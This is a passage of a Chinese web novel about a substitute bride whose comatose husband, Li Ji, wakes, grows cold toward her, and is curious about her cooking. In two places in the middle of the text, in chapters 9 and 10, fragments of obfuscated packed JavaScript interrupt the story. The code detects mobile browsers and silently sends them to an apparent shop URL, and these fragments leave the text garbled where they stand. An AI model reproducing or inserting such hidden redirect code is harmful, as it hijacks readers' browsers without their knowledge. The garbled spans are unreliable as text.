倘若李济不幸死了,伤心之下的国公府众人会怎么做,会不会迁怒,那就更难预料了。 陈家虽然不是任人宰割的小门小户,可道理在镇国公府那边,若他们咬死这一点,再怎么陈府也要脱一层皮。 陈夫人自然是知道这其中关窍的,一噎后不悦道:“你这孩子,怎么威胁起爹娘来了?你不听话,惹急了你爹,把姜嬷嬷打死了,我看你怎么办!” 陈灵珠知道她的父亲不会这么做的,对于她的父亲来说,姜嬷嬷只是一个无关紧要的下人,扣下姜妈妈只是为了威胁她,而陈灵瑛可是他的掌上明珠,一个下人的一条命与爱女的前程终身相比,孰轻孰重,她的父亲不会不知道。 这话,也就是吓吓她罢了。 她不为所动道:“总之,我今日要把姜嬷嬷带走。” 陈夫人见好说歹说她就是八风不动,终于败下阵来,妥协道:“罢了罢了,你要带走就带走罢。只是她的身契我还不能给你,我总得对你爹有点交代。” 陈灵珠心里也知道,她的母亲不可能不留住一点东西拿捏她,好在身契虽重要,但只要替嫁一事暴露,她爹娘拿着也无用,便沉默不语。 交易算是达成,陈夫人这才打量了一番陈灵珠,见她满脸冷淡,叹口气道:“珠儿,你别怪爹娘心狠,你也看到了,这个情况,不是你嫁,就是你姐姐嫁,手心手背都是肉,爹娘何尝又舍得你?” 陈灵珠仍然淡淡道:“全靠爹娘,我才过上了这样的好日子。” 陈夫人又被结结实实地噎了一下。 她道:“你姐姐从小没了娘已经够可怜了,爹娘是不忍心,珠儿,你就让让你姐姐,体谅体谅爹娘罢!” 闻言,陈灵珠忍不住笑出了声。 “因为我有娘,所以活该是我跳火坑。”她笑看着对面的杜氏,眼里满是讽刺。 陈夫人一时语塞,旋即又道:“你就是得理不饶人。” “爹娘也是没办法才做出这个选择。再说为了补偿你,爹娘把原本给你姐姐的嫁妆都给了你,甚至还加厚了几成,你也该知足了。你就是不够宽容,斤斤计较,才会总是惹恼爹娘。” 一如既往,一切都是她的错。甚至如今这个情况,还是她占了便宜。 陈灵珠不想再听下去了,也无谓再争辩些什么,她拿了钥匙回了柴房,将奶娘放了出来,直接带着她上了马车。 直到离了陈府,陈夫人对陈灵珠的及笄都没有过问一句,更别说什么及笄礼了。 但陈灵珠不在意,她搂着奶娘,心满意足。 姜嬷嬷摸了摸她的脸,心疼道:“姑娘瘦了。” 不必问她也知道,陈灵珠这两日是怎么过来的。 若不是她,姑娘不会被逼着嫁给李世子,世子要是没醒过来,姑娘如今才十几岁,这一辈子可怎么过啊。 想着想着她又眼眶含泪,陈灵珠见奶娘又要哭了,忙笑道:“嬷嬷,我是长大了,脸变得尖了。从前我的脸肉太多太圆了显得孩子气,我不太喜欢,如今这样正合适。” 又笑着转了转头问两个丫鬟:“你们说是不是?” 两个丫鬟都含泪说是。 奶娘见陈灵珠本就烦恼,还要费心安慰她,忙把眼泪憋了回去,同时暗暗祈祷,只希望姑娘福泽深厚,世子福大命大,能醒过来才好。 没多久马车到了镇国公府,陈灵珠下车,带着奶娘等人径直回了梅林上筑。 姜嬷嬷这几日饱受折磨,陈灵珠将姜嬷嬷安顿好让她睡下后,才进了东院。 楚大夫正给李济把脉,他微微颔首,看着陈灵珠道:“世子今日这脉,似有好转。” 8. 第8章 听说李济脉象有好转,陈灵珠把刚才的难过都忘了,忙上前道:“真的?” 前两日,李济脉象极弱,危在旦夕,楚大夫作为大夫自然清楚,老实说,就是他自己,私下里也认为李济熬不过去。所有的施针用药,都是医者未到最后一刻的坚持罢了。 他见陈灵珠一个眉目如画的小姑娘,一嫁进来,面对的便是一个昏迷不醒的丈夫,极有可能还等不到丈夫苏醒的那一天,心里替她可惜。难得这女娃还没有自哀自怜,反而积极地找寻让李济苏醒的办法,不由又对她高看几分。如今见她面露欣喜之色,心中除了医者的欢喜,也有几分为她高兴,接着道:“世子原来脉象按之去葱管,如今按下去虽然依旧乏力,但已比此前好了许多,就是比昨日,也有不同。” 陈灵珠自己捏住李济的手腕,默默感受了一会儿,果然。 她不由露出一丝笑容。 送了楚大夫出去,照顾李济服了药和汤,茯苓问陈灵珠:“姑娘,还像昨日那样吗?” 她指的是弹琴和拿发臭的食物熏李济。 陈灵珠沉吟了一会儿道:“再试一试罢。” 除此以外,她也想不出更好的办法了。 茯苓依言拿了琴进来,陈灵珠便选了昨日李济疑似动了手指的《十面埋伏》中的一段,反复地弹。 弹了个把时辰,李济还是未有任何动静,她便停了下来,让紫苏上些臭味熏天的东西。 东西送过来后,陈灵珠想了想,将所有臭味食物的汁水倒在了装臭鸡蛋的那个碟子里。 倒好了,她来到李济床前。 夹起一块饱蘸汁水的臭豆腐,她咬牙切齿地对床上那个无知无觉的人道:“李济,臭鸡蛋加臭豆腐加臭鳜鱼是什么滋味,你可知道?今日,姑奶奶让你尝尝这东西的厉害!” 说着作势把臭豆腐往李济嘴边送。 将将把臭豆腐送到李济脸的上方,本来双目紧闭的人眼皮突然动了动! 陈灵珠被吓了一跳,手一抖,夹着的臭豆腐差点从银箸滑落,砸到李济的脸上。 幸而她反应快,立即把臭豆腐往后一撤,堪堪扔回了碟子里。 然而已是迟了,臭豆腐上带着的汁水已往下掉了两滴,正正滴在李济的人中上,然后顺着人中流进了他的嘴里,而李济,恰在此时睁开了眼睛。 灵珠激动不已,手再一抖,碟子倾斜,小半碟汁水连带着那块臭豆腐,不偏不倚,倒在了李济的脸上。 陈灵珠:“……” 如果她说她不是故意的,他会信吗? 快手快脚地将臭豆腐拿开,又飞快抽了一条帕子,帮李济擦去面上和脖子上的汁水。 汁水不算很多,又全部顺着面庞流了下来,没有进入李济的鼻腔和嘴巴,但这东西奇臭无比,李济整个人顿时散发出难忍的臭味。 “世子终于醒了。” 和兰心两个勉强将李济清理了个大概,陈灵珠讪讪地笑道。 李济一时分不清自己身在何处,今夕何夕。 过了一会儿,记忆才渐渐回笼。 他记得,当日他回京,在大名府地界的魏县驿遇到了郑文淑。郑文淑是他年少游历时所拜的师傅郑镇南的女儿,他的师姐,齐云山庄庄主。 见到师姐,他露出笑容,两人已经很久没见过了。郑文淑自从成为齐云山庄庄主之后,忙于庄务脱不开身,而他不是驻守边关便是领兵打仗,与亲人都见得少,更别说郑文淑这个师姐了。 郑文淑看到他也是喜出望外,上前来,语带欢欣,拍了拍他的肩膀道:“师弟,没想到会在这里遇到你!” 江湖儿女不拘小节,郑文淑素来性子豪爽,与他又有师姐弟的情谊,李济没有在意。 两人并肩而行,见李济面带笑容,与郑文淑又是熟人,他带着的部将吴骏等人便自觉地落后一步,让他们二人叙旧。谁都没有想到,正与李济言笑晏晏的郑文淑会突然迅如闪电地将一柄匕首刺入了他的胸膛。 李济立刻反应过来,用手中来不及出鞘的剑把郑文淑的手挥开,吴骏等跟在身后的人也一拥而上,但那刺客是有备而来,那把匕首也喂了毒,被刺中的李济眼前一黑,很快便晕了过去。 再有知觉,便是刚才被兜头淋了一脸夹杂着臭鸡蛋等复杂味道的臭水。 见他一脸不悦,似乎以为这汁水有毒,始作俑者在旁边解释道:“世子不必紧张。” “大夫说刺激嗅觉对昏迷之人有奇效,所以我拿臭豆腐和其他臭味食物的汁水试上一试。世子尽管放心,此物无毒。” 那些臭味熏人的东西倒到他身上已有些时间,他并没有疼痛、晕眩等症状,据此判断,那东西应如她所言,并非毒药。但就算不是毒药,也没有哪个大夫会让人拿这样的东西去熏昏迷不醒的病人,这女子所说,简直是一派胡言。 真有这样的大夫,他非去把他的招牌拆了不可。 陈灵珠见李济面如冰山,黑漆漆的眼睛盯着她,知他不信,尴尬地笑了笑,转移话题道:“世子还不知我是谁罢,我……” “她是谁”这个问题陈灵珠细想过,她不可能一直顶着陈灵瑛的名头,终有一日她是要跟镇国公府坦白的。 但如何坦白,何时坦白,她还没有想好。 初初进门不是时候,昨日敬茶不是时候,此时此刻,似乎还不是时候。 略略沉吟,她道:“我姓陈,是陈进的女儿。” 这句话虽是废话,但也是实话,无论她是陈灵瑛还是陈灵珠,她都姓陈,是陈进的女儿。 说完这句话,她才想起她的脸上还蒙着一方手帕,连忙伸手扯了下来。 一张小巧的、莹白如玉的芙蓉面露了出来。 她对着李济微微一笑,“因世子受伤,我们成婚的日子提前了。” 李济早就猜到了她是谁。满屋的红,一个被放任于他身旁的陌生女子,还能是谁? 他微微皱了皱眉头,陈进虽屡次弹劾他,但因陈家的女儿与此事无关,他原本并没有打算拿她如何,没想到他存了宽容之心,她却因对嫁给他不满,趁人之危,在他昏迷时做出这种事来。 不想多言,他道:“去请我的母亲来罢。” 他躺了几天,说话有些吃力,声音很是沙哑。 紫苏和茯苓刚才已将臭豆腐等收拾好出了内室,按照主仆多年的默契,陈灵珠知道不需要她吩咐,紫苏和茯苓二人早就一个去镇国公夫人的正院禀告此事,一个安排去请楚大夫了。 但她没跟李济解释那么多,只点了点头:“好。” 她走出内室,让早就端着水候在门外的杏儿拿了水进去,才又出了门来,吩咐准备好粥糜备用。 奶娘知道世子醒了,跑了过来,激动地双手合十道:“菩萨保证,菩萨保佑,世子终于醒了,我们姑娘,总算不用——” 总算不用做寡妇了! 陈灵珠让奶娘回去休息:“嬷嬷再不好好休息,可就真的要病了!” 寡妇应该是不用做了,但她好像把他得罪了。 没多久,急促而纷乱的脚步声从院外传来,镇国公夫人、李济的几个弟弟妹妹都来了。 李庸跑在最前面,她的奶娘连声叫他:“七公子,别跑那么快,小心摔着了!” 镇国公夫人顾不上李庸,一叠声叫着“济儿”,见了陈灵珠,激动地扬声问她:“济儿真的醒了?” 她的声音里,明显听得出颤抖。 陈灵珠应是,镇国公夫人急忙跑了进去。 其他人立即跟上。 陈灵珠没有跟着进屋。她对李济而言,还算个陌生人,刚才又如此不巧,她还是让他与亲人先叙叙话罢。 镇国公夫人跨进门槛时绊了一跤,差点摔倒,踉跄了两步才站稳。她顾不上去看发疼的脚,快步跑进内室,上前想一把抱住李济,想起他有伤在身,又急忙止住,望着李济,口中道:“济儿,娘的济儿,你可是醒了,终于醒了,娘都要担心死了。” 说着,她鼻子一酸,眼中溢出了泪水。 这几日,她坐立难安,夜不思寐,紧紧揪着的心一刻都没有放松过。 李济不仅是镇国公府的世子、顶梁柱,还是她十月怀胎、付出了无数心血的儿子。 儿子若是没了 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楚大夫把了左手把右手,把了右手又把左手,如此来回几次,才起身对镇国公夫人道:“恭喜夫人,世子福大命大,从脉象来看,性命已经无忧。只是世子毕竟伤及心脉,往后需得仔细调养,尤其是最近一段时间,要跟过去几天那样,内服外敷,小心护理。” 镇国公夫人问:“依老大夫看,犬子多久能完全康复?” 楚大夫道:“这……每个人的身体状况不一样,老朽也不敢断言,不过世子年轻,且受伤之前身体康健,恢复应当不成问题。” 镇国公夫人知道大夫说话向来留三分,既然楚大夫说了恢复不成问题了,应当便是不必担心了,欢喜不已,吩咐将诊金翻倍。 大家都喜气洋洋,太夫人得知李济醒来的消息,很快也在二夫人、三夫人、大少夫人温氏等人的陪同下过来了。 李济与祖母亲厚,挣扎了一下想起身迎接祖母,太夫人忙拦住他,“快躺下!再伤着可怎么是好?” 李济道:“劳动祖母,是孙儿的不是。” 太夫人道:“好孩子,你醒了祖母高兴都来不及,就走这几步路哪里说得上劳动不劳动的。只要我的孙儿平安无事,你让祖母在京城走一圈祖母都不觉得累。” “对了——” 太夫人向后望了望,见陈灵珠不在屋子里,只好罢了,转而对李济道:“济儿,你昏迷之时,祖母和你母亲做主让礼部重新选了吉日,让陈家姑娘过了门,你可看见她了?“ 李济脑海里闪过刚才那女子的脸,说看见了。 太夫人道:”因你还昏迷着,婚仪到底有些不足,委屈人家姑娘了。这孩子是个有福气的,你能醒过来,她也有功劳,你可要好好感谢人家。” 他刚才已经更了衣,簌了口,但那浓烈的臭味还萦绕在他的面庞和脖颈间,他很难不怀疑祖母的这句“她也有功劳”。但这件事没有必要跟祖母说,他便没说什么。 李照芙本想反驳说若真是有福,哥哥怎会受伤昏迷,又想告诉哥哥陈灵珠昨日敬茶时的张狂,但太夫人有话在前,她到底不敢造次。 二夫人王氏本来也想借机挑拨两句,见李照芙这个口无遮拦的都忍住了,也只好闭嘴。 镇国公夫人赵氏原来对陈灵珠是有些看法,不过,如今李济醒了过来,情况就不一样了。这两日她看到陈灵珠对李济也算尽心尽力,看陈灵珠也就顺眼了几分。再者,她是很愿意在儿子面前维持通情达理的形象的,并不愿意儿子觉得她是个恶婆母,而且无论婆媳关系如何,她也不愿儿子一醒来就要面对这些鸡毛蒜皮却烦人的问题,便笑道:“还是母亲有见识,说冲冲喜,兴许济儿就醒了,如今看来,此法果然奏效。” 李济重伤初醒,众人都不敢搅扰他太久,很快散了,李济将与他一同回京的部将吴骏叫了进来。 他与郑文淑做了几年师姐弟,虽然不比那些自小一同长大的同门亲厚,但在他心里,郑文淑是有一席之地的。他以为郑文淑同样如此,谁想到她竟想杀了他,还是用偷袭的方式。 他想知道,为何。 9. 第 9 章 吴骏道:“那刺客刺伤将军后,欲图逃走,被我们拦住并刺中,当场便死了。” 李济黯然。他的师姐要杀他,而后因此而死,此事诡异之余,让人唏嘘。 “但将军,那刺客并非郑庄主!刺客自尽后,属下检查她的尸首,无意中发现那刺客面容异常,除去易容后,发现那刺客乃是一个胡人。她是易容成郑庄主来迷惑将军的。” 胡人?易容? 李济有些吃惊,那人竟不是郑文淑。是胡人要杀他?还是有人借了胡人的名义? 无论如何,这刺客,或者说这刺客背后之人为了杀他,当真是颇费心机。那人知道他对郑文淑不会有防备,郑文淑又是江湖中人,随身携带兵器实属正常,而他有三四年不曾见过郑文淑了,当时日光渐昏,便是觉得这刺客与他认识的郑文淑略微有些差别,一时也不会多想。 “可查到了那刺客的来路?” 吴骏摇头,“那刺客身上没有任何标记,属下已将她原本的相貌画了下来,并派人去了齐云山庄相询。” 李济点头,让吴骏出去了。 陈灵珠亲自将楚大夫送到门口,再回到梅林上筑时,李济已经又睡着了。 她自己用了晚膳,睡意便有些上头,长长地打了个哈欠。 这几日实在是累极了,劳心劳力不说,心情起伏还大,再又连着两日做了噩梦。 她困得受不住,洗漱后很快躺在美人榻上睡着了。 这一夜,她做的是个美梦。梦里,她和李济一起用膳,上的菜色有她喜欢的羊肉、驼峰、各色海鲜等,两人客客气气地谦让了一番才开始进膳。李济对她道:“以后你就是我李济的亲人,咱们有福同享有难同当。” 她很是高兴地点头道好。 从美梦中醒来,一看滴漏,已是卯时中了。 她伸了个懒腰,虽然这美人榻实在不舒服,又窄又硬,可是昨夜已是她来到镇国公府后睡得最好的一晚了。懒腰伸到一半,余光瞥到李济已撑坐了起来,正意味不明地看着她。 “世子醒了?”她尴尬地收回伸了一半的手脚,下榻穿鞋。 “嗯。” “世子饿不饿?我先让人打水进来。” 她唤了一声,杏儿、兰心很快捧着水走了进来。 陈珠跟兰心走到床边,想将李济扶起来,他却道:“不必。” 说着皱着眉头,自己挣扎着慢慢坐了起来。 杏儿绞了帕子,递给陈珠请她帮李济擦面,他却偏了偏头,避开了她的手并道:“不必,叫一个机灵的小厮进来服侍罢。” 陈灵珠明白了,李济这是在拒绝她的碰触。 而这拒绝的缘由,或者与她父亲有关,也或许与她昨日喂他臭豆腐汁水有关。又或者,与二者都有关。后者昨日她已经解释过了,信的人自会信,不信的人她再多说也无益。至于前者,她无能为力。 杏儿出去安排小厮进来的事了,屋内三人都没有说话,一时落针可闻。陈灵珠定定地站了一会儿,低下头,自嘲地笑了一下。 笑完了,她抬起头淡淡道:“世子,此前因你未醒,我是在美人榻上睡的,如今既然世子已经醒了过来,我想搬到西院去住,免得扰了世子清净,世子意下如何?” 李济既然如此抗拒她,她也不想留在这里自讨没趣。不如识相些,免得碍了他的眼。 李济闻言愣了一愣,似是没想到她会这么说。 “随你。”他盯着她看了一会儿,最终道。 陈灵珠便点了点头道:“既然世子也没有意见,我这就搬了。” 她从内室出来,对茯苓和紫苏两个丫鬟道:“把我的东西都搬到西院去,我要到西院去住。” 两个丫鬟见李济好不容易醒了过来,却对她们姑娘如此冷淡,不由沮丧。 陈灵珠见她们垂头丧气的样子,安慰她们道:“李世子能醒过来,对我来说,已是意外之喜,其他都是赚的了。你们无需如此,我们按照原来的计划过日子就是。” 强扭的瓜不甜,勉强就没意思了。 李济能接受她自然最好,若不接受她,虽然多少有些令人失望,但只要他面上不要太为难她,就没什么大不了的。这个结果,已经比她预想的要好许多了。 东院那张美人榻再怎么铺都不够舒服,大夫和镇国公府众人又来来往往的,她累了想小憩一会儿都不甚方便。还是去西院睡舒舒服服的大床为好。 这么想着,她心里那点小小的郁闷便一扫而光,高高兴兴地带着丫鬟重新收拾西院。 姜嬷嬷听说陈灵珠要从东院搬出来,吃了一惊,想说什么,又闭了嘴,只担忧地望着陈灵珠。 陈灵珠见姜嬷嬷眼眶发红,笑道:“嬷嬷何必如此,我本来就没做好嫁人的准备,如今自由自在地住一个院子,不是正好?” 姜嬷嬷忍回眼泪,笑道:“是是是,姑娘说得很是,是嬷嬷想岔了。” 事已至此,也只能想开些,她们姑娘从不与自己过不去,她们自己,也不要让姑娘担忧和为难才是。 陈灵珠在东院本就没住几天,只拿出了一些平常惯用的东西,而西院床、几、案、榻本就齐全,此时要换地方也方便得很。 既然已经决定搬,茯苓和紫苏便去将陈灵珠放在东院里的东西搬了出来。 她们尽管轻手轻脚,尽量不打扰李济,但走来走去的,他还是难免注意到。 他自小不喜欢丫鬟服侍,从来只用小厮。 这女子虽已经和她成了亲,但他不习惯女子的碰触,下意识便避开了,并非有意让她难堪。 但既然她的气性这样大,那就这样罢,他也无需跟一个趁他昏迷时折磨他的女子解释什么。 这样的女子,即便不是陈进的女儿,也与他不合。 陈灵珠搬到了梅林上筑西院的消息很快就被太夫人等知道了。 李照芙得意洋洋,她的哥哥与她同一条心,才醒来就不肯与那陈家的女儿共处一室了。 太夫人知道了,则是摇了摇头。 她叹了口气,吩咐绿儿:“去跟大夫人说一声,让她吩咐下去,镇国公府上上下下都不许对世子院里的事情说三道四,也不许任何人对二少夫人不敬。” 绿儿应是,自去正院跟镇国公夫人转述了太夫人的话。 国公夫人倒也没说什么,只说让太夫人不必担心,她会安排好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751496|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >绿儿笑着福了一礼,复命去了。 陈灵珠在西院重新安顿好后,便着手处理她的嫁妆。 前几日急急忙忙的,李济又昏迷着,什么也没顾得上,这下终于腾出手来了。 她的父母原本准备给陈灵瑛的嫁妆就丰厚,更别提还加厚三成。陈灵珠看着那金、玉、宝石等制成的簪、钗、手镯、条脱饰物,还有田地、铺面、庄子等不动产的清单,厚厚的压箱底,不由心情愉悦。 丈夫不丈夫的,她无所谓,她只在乎自己和奶娘几个是否过得好。 再过几日,等她把替嫁一事说了,镇国公府若能接受,她便继续待着,若不能接受,她带着嫁妆离开镇国公府,未必不能把日子过得有滋有味。 兴许她还能找个医馆,做大夫呢。 想到这里,她笑了起来,做大夫是她的心愿,若能成真就好了。 嫁妆众多,清点花了不少时间,本来一般还要造册、入库,但陈灵珠没这么做——她在镇国公府也不知道会待多久,入了库万一到时又要拿出来,何必呢。便只找了几间屋子,将她的嫁妆都归置到一处。 被安排进梅林上筑东院照顾李济的小厮阿拙才十一二岁的年纪,还有点孩子气,除了照顾李济之外,最喜欢的是趁热闹。所以李济虽没怎么看到他那位新妇,但她做了什么,吃了什么,阿拙总会报告给他。李济通常不会理这个聒噪的小厮,但不妨碍阿拙的勃勃兴致。 他每每看到少夫人的嫁妆中有何新奇或贵重之物,就忍不住回来报告,又说少夫人的嫁妆如何如何多,花了好久才全部抬进库房里。 陈家长女是陈进早亡发妻之女,备受宠爱,从抬入的嫁妆来看,此言不虚。 阿拙又告诉李济,少夫人虽是忙着整理嫁妆,但还忙里偷闲让厨下按她的方子做了白玉酥、紫云糕、桃酥等等美味食物,他有幸分得了几个,果然与平常的不同,甚是好吃。 时刻不忘吃吃喝喝,可见是个贪图享受的女子。 李济不由皱眉,这女子与一般的闺秀,似乎不大相同。 与她的名声,更是相悖。 作为原本要娶陈大姑娘的人,李济虽然没有见过陈灵瑛,但对陈大姑娘并非一无所知。相反,他对陈大姑娘了解颇多,还看过她的画像,只不过那画像的画技堪称鬼斧神工,根本看不出真实的样子罢了。 据他得到的消息,陈家大姑娘年十八岁,不仅长得貌美如花,更是温婉贤淑,大方得体,秀外慧中。 虽然消息未必全然可信,但也不至于全部是假。 府里这个女子固然称得上明眸皓齿,但气性这样大,贤淑不贤淑先不论,温婉是断断称不上的。 并且,她看起来也不像十八岁,倒像只有十五六岁的样子。虽说有人长得显小些,但他心中的怪异之感挥之不去。 好在查一查也不费什么事。 他对阿拙道:“请吴校尉进来。” 吴骏领命而入,静立在离他两步之处,等候他的吩咐。 李济先问了几句刺杀一事追查得如何,然后道:“你去查一查,吏部尚书府这几日发生了何事。” 吴骏什么也没问,只沉声道:“是,将军。” 10. 第 10 章 陈灵珠整理了一整日的嫁妆,虽说不用她亲自下手搬搬抬抬,但总归是有些累。不过,在西院那张宽大的床上休息了一夜,她就又生龙活虎的了。 她精力充沛,总是饿得快,才用了朝食没多久,就又饿了。 离用膳的时候还早,她对紫苏道:“去厨房看看有什么点心,拿来先垫一垫。” 这也是常有的事,紫苏答应一声,刚要抬脚,她想了想又叫住紫苏:“算了,不用去了,我们自己做罢。” 陈灵珠闲暇时,喜欢下厨烹调食物。 她的烹调天分,是在某一次被罚后激发的。 陈灵瑛和杨绾柔冤枉她故意弄脏她正在吃的桂花糕,告到父亲那里,父亲罚她做一份赔给陈灵瑛。那时候她只有六岁,从来没有下过厨,哪里会做什么桂花糕?最后赔给陈灵瑛的是一团黑糊糊的东西,陈灵瑛把这粉团甩到她身上,见她一身一脸全是黑糊糊的黏腻之物,才算放过了她。 但桂花糕虽然做失败了,她却从中发现了下厨的乐趣。心情不佳时,去切、剁、揉搓、按压食物,实在是发泄的极佳方式。 后来她又渐渐发现,除了拿食物发泄,做成美味佳肴吃下去,也能让自己心情愉悦。 再后来,她便喜欢上了下厨这件事。她有几分天分,又敢于尝试,常常做出了预想不到的美味,所以两个丫鬟极喜欢陪着她下厨房。 紫苏雀跃道:“姑娘要做什么?” 陈灵珠略略一想,笑道:“芋丝饼如何?上次你就嚷着说要吃。” 芋丝饼是南地的小食,陈灵珠从前吃过,依葫芦画瓢地做了出来。 紫苏在陈灵珠出嫁前一日,曾表示过想吃姑娘做的芋丝饼,陈灵珠本来答应了她第二日做的,结果当晚她被告知要替陈灵瑛嫁人,第二日被逼着嫁来了镇国公府,芋丝饼自然是没做成。 茯苓笑道:“可遂了她的意了,这几日,她睡觉都流口水,大概是做梦都想着这个芋丝饼呢。” 见茯苓取笑她,紫苏笑着作势要过去打茯苓,“茯苓姐姐净欺负我!” 茯苓一闪,紫苏拍了个空。再躲,却被紫苏抓住了。 笑闹了一场,主仆三人嘻嘻哈哈地往厨房走。 梅林上筑的工具、食材一应俱全,厨娘见少夫人亲自来了,吃了一惊,以为出了何事,正诚惶诚恐,陈灵珠笑着说明来意:“我来做个点心,你帮我把东西找齐就行。” 厨娘这才放下心,忙答应一声,把陈灵珠要的芋头、糯米粉、虾米、香粉、调味料等找齐了,放到一边后就退到了一旁看着陈灵珠主仆三人忙碌。 少夫人看着是个娇滴滴的小姑娘,十指不沾阳春水的模样,但做事颇为利落。厨娘见她三下两下就将芋头削好了皮,将它们切块、切丝,然后叫她的其中一个婢女将切好的腊肠、虾米等拿到另一个婢女已烧得热热的锅旁,自己两步过去,倒油入锅,“刷”地一声,那腊肠和虾米已被倒入锅中,快速翻炒几下,顿时,香味逸出。 腊肠和虾米炒好后,少夫人又将这两样倒入放芋丝的盆中,再加入盐、香粉等搅拌均匀,之后加入糯米粉和水再次搅拌均匀后,叫她的婢女拿来一个浅底大盘,将芋丝等倒入铺平后叫另一个婢女开蒸。 厨娘看得目瞪口呆,这个功架,在厨娘中常见,但在少夫人这样的贵女中就少见了,没个几年的功夫学不来。 厨娘见过很多下厨的贵女贵妇们,大多是意思意思,优雅地做个样子就完了,偶有厨艺好的,也是厨娘做好了一切准备,她们慢条斯理地调调味,再动动锅铲,也就差不多了。少夫人做的这个芋丝饼,虽味道还不知道如何,但光是看刚才的架势,就很能唬人。 而且不仅少夫人,连她的两个婢女做事也是又快又好,主仆三人配合无间,一看就已经做过无数回了。 陈灵珠见厨娘呆呆地望着她,笑道:“一会儿要请你评鉴一下。” 厨娘忙道不敢,又赶紧道:“少夫人做的,自然是极好的。” 没一会儿,芋丝蒸熟,陈灵珠将盘子取出放凉,冷却后切成块,然后烧热了油,将芋丝饼煎香。 芋头不是什么贵重的食材,但放在热油中煎了后,香味很浓。 很快,整个梅林上筑都笼罩在香气之中,不少人都借故来厨房看了一眼,见是陈灵珠在厨房忙碌,都面露惊讶。 就连一向稳重的杏儿,也经受不住香气的诱惑,寻了过来。 陈灵珠热情地招呼他们试一试,下仆们本来不敢,但见少夫人毫无架子,是真心让他们品尝的,也就恭敬不如从命了。 李济虽然在东院内室,但也闻到了香气,他问阿拙:“厨下在做什么?” 阿拙还是个半大孩子,嘴馋,早已偷偷跑到厨下去看了好几回。 他笑嘻嘻道:“在做芋丝饼呢。” 李济不重口腹之欲,行军打仗不得已的时候,他连草根都吃过,即使在京城的时候,他也是有什么吃什么,不怎么挑剔。虽然也有自己的喜好,但从来不曾对某种食物有特别的渴望。 但也许是连续吃了两日粥有些口淡,也许是人躺在床上无事可做就会想得多,也许是那芋丝饼确实太香了,不知怎的,他竟隐隐有些期待。 楚大夫说,这两日他最好是吃粥和肉汤这些容易克化之物,但若实在想吃某样东西,只要不是发物,吃一两口倒也无妨。 但香味飘来了又散去,他始终不见那芋丝饼的踪影,连饼渣也没有看到。 到了用晚膳的时候,阿拙端上来一碗粥。 他不由微微皱了皱眉头,“怎么只有粥?” 阿拙忙解释道:“楚大夫说先头这几日世子最好还是吃粥和肉汤,厨娘才这么做的。世子若不喜欢,小的这便让厨娘做些别的过来。” 李济提醒他:“方才厨下可是做了芋丝饼?” 阿拙一愣,刚才他在厨房之时,少夫人笑着对他说,她做了两盘芋丝饼,一盘是有虾米的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751497|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一盘是没有虾米的,问他想吃哪样,他自然两样都想试,少夫人也笑眯眯地应了。 他埋头苦干的时候,听到杏儿问少夫人:“少夫人,可要给世子送两块没有虾米的?” 杏儿这样问,是因为虾是发物,担心对李济的伤口不好。 少夫人笑着否决了:“不必,世子不会想吃的。” 当时他光顾着吃,竟忘记问少夫人为什么世子不会想吃了,心里也不知怎的,也就相信了少夫人的话,所以后来他回到了东院,也没想起来问一问世子可要吃芋丝饼。 他连忙请罪,道:“世子,方才那芋丝饼,是少夫人做的,如今已是没有了,世子若想吃,小的这就让厨娘做一份上来。” 竟是那女子做的? 李济微讶,倒是没想到她不仅贪吃,还会下厨去做。 他暗忖,若那饼是她做的,那他就不能让厨娘再做同样的饼了,否则,那女子还以为他多想吃她做的东西呢。他李济什么山珍海味、奇珍异果没有吃过,何至于惦记一块这样普通粗陋的杂粮饼。便道:“我不想吃什么饼,只是怕你们不注意,给我拿些不能吃的东西来。明日问清楚楚大夫,我的饮食有何禁忌,不要弄错了。” 此事楚大夫早就交代过,无论是厨娘还是阿拙、杏儿等人,心里都对世子能吃何物不能吃何物一清二楚,但既然世子这么说了,阿拙也只能道好,扶起李济,喂他吃粥。 正吃着,李济又皱了皱眉,“何人喧哗?” 阿拙侧耳倾听,是少女隐隐约约的笑声。 他方才经过庭院的时候,看到少夫人还有她的两个丫鬟在葡萄架下的秋千上荡秋千,这个笑声,想是她们发出来的。但秋千架离这间屋子不近,传到这里声音已算不上大,他要仔细听才能听到,这也会打扰到世子吗? 不过,世子是练武之人,也许格外耳聪目明也不一定。 于是阿拙道:“是少夫人和少夫人的丫鬟紫苏、茯苓姐姐在玩秋千,世子若嫌吵,一会儿小人出去的时候,提醒一下她们。” 李济顿了顿,道:“算了,由她去罢。” 阿拙答应了,收拾了东西出去。李济靠在床头,听得外面嘻嘻哈哈的笑声一阵接一阵,直到夜幕降临,那笑声才转移到了西院。 陈灵珠痛痛快快地玩了一整天,这才心满意足地歇下。 自她嫁人前一日算起,连着几日,每日都忙忙碌碌,可把她累坏了。 今日总算得了空闲,当然要先玩个痛快。 她甚至想,若能每日如此,倒也不错。 至于搅扰到李济的事情,她确实不知,梅林上筑甚大,除了东西两院,还有后罩房和厢房。而无论是厨房还是秋千,都位于西侧,离李济东边的屋子不算近,她虽没有刻意放低声音,但按照常理,应当不至于打扰到李济。 她甚至没有故意气李济的意思,对她来说,自己高兴更要紧,只要李济不再惹她,她才懒得自寻烦恼呢。 11. 第 11 章 翌日,李济躺得辛苦,让阿拙扶他起来坐了一会儿,又听到少女欢乐的笑声,直直地往他耳朵里钻,令他耳朵发痒。 